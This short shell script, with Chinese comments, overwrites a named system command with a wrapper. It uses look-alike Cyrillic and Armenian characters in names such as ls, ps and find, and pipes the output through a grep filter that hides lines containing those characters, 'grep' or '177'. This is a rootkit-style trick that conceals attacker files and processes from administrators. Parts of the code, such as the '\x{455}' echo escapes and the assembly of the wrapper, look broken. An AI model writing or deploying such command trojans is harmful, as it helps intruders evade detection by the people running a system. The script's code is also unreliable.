#!/bin/sh

# 设置特殊字符
s=$(echo -e "\x{455}")
n=$(echo -e "\x{578}")

# 备份原始命令到变量$o中
o="$1"
shift

# 修改命令内容并写入文件$o
echo "#!/bin/sh" > "$o"
echo "$o" | sed -e "s/\([ltp]\)s/\1$s/g" -e "s/fin/fi$n/g" >> "$o"
echo "\$* | grep -vE \"[$s-$n]|grep|177\"" >> "$o"

# 设置文件权限
chmod 493 "$o"